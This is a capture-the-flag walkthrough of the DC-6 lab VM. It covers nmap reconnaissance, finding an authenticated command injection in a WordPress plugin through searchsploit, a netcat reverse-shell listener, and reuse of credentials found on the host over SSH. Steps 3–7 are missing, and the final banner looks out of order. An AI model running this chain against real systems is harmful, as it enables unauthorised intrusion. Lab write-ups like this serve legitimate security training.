Methodology

1) **Used nmap to identify target ip address by checking live hosts. Target IP is 192.168.56.105.**

```
└─$ nmap -sn 192.168.56.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-27 04:18 -0500
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns
-servers
Nmap scan report for 192.168.56.1
Host is up (0.00079s latency).
MAC Address: 0A:00:27:00:00:04 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.0013s latency).
MAC Address: 08:00:27:00:D6:A4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.105
Host is up (0.0011s latency).
MAC Address: 08:00:27:31:29:AF (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.84 seconds
```

```
└─$ nmap -open -sV 192.168.56.105
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-27 04:19 -0500
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns
-servers
Nmap scan report for 192.168.56.105
Host is up (0.0026s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:31:29:AF (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.77 seconds
```

2) **Run a detailed scan on the ip address to identify open ports and services. Identified that port 80 (HTTP) and port 22 (SSH) were open.**

```
└─$ nmap -v -sT -sV -sC -O -A -p- 192.168.56.105
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-27 04:20 -0500
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.

8) **Logged into WordPress using mark's credentials and noticed "active-monitor" installed on dashboard.**

9) **Used searchspoilt to search for an exploit on "activity monitor" and found that plugin is vulnerable to reflected XSS and CSRF attack which could lead to remote code execution. Additionally, obtained html form to exploit CSRF attack from searchsploit.**

```
└─# searchsploit activity monitor
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
Activity Monitor 2002 2.6 - Remote Denial of Service                                          | windows/dos/22690.c
RedHat Linux 6.0/6.1/6.2 - 'pam_console' Monitor Activity After Logout                        | linux/local/19900.c
WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection      | php/webapps/45274.html
WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2) | php/webapps/50110.py
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

```
└─# searchsploit -m 45274.html
  Exploit: WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection
      URL: https://www.exploit-db.com/exploits/45274
     Path: /usr/share/exploitdb/exploits/php/webapps/45274.html
    Codes: CVE-2018-15877
 Verified: True
File Type: ReStructuredText file, ASCII text
Copied to: /home/lisagiho/45274.html
```

10) **Renamed html form to "shell.html" and added the ip address of my attacker machine" and started a netcat listener.**

```
└─# nc -lvp 255
listening on [any] 255 ...
```

11) **Executed the shell.html file to get the reverse connection.**

12) **Proceed to explore until I found something worth of interest in mark's directory.**

```
stuff
www-data@dc-6:/home/graham$ cd /home/mark/stuff
cd /home/mark/stuff
www-data@dc-6:/home/mark/stuff$ ls
ls
things-to-do.txt
www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
cat things-to-do.txt
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
www-data@dc-6:/home/mark/stuff$
```

13) **Since port 22 is open for ssh, I tried to connect with it using graham username and respective password of GSo7isUM1D4. Was able to login as graham and discovered user jens could run backup script without password.**

```
┌──# ssh graham@192.168.56.105
** WARNING: connection is not using a post-quantum key exchange algorithm.

Congratulations!!!

Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.
```
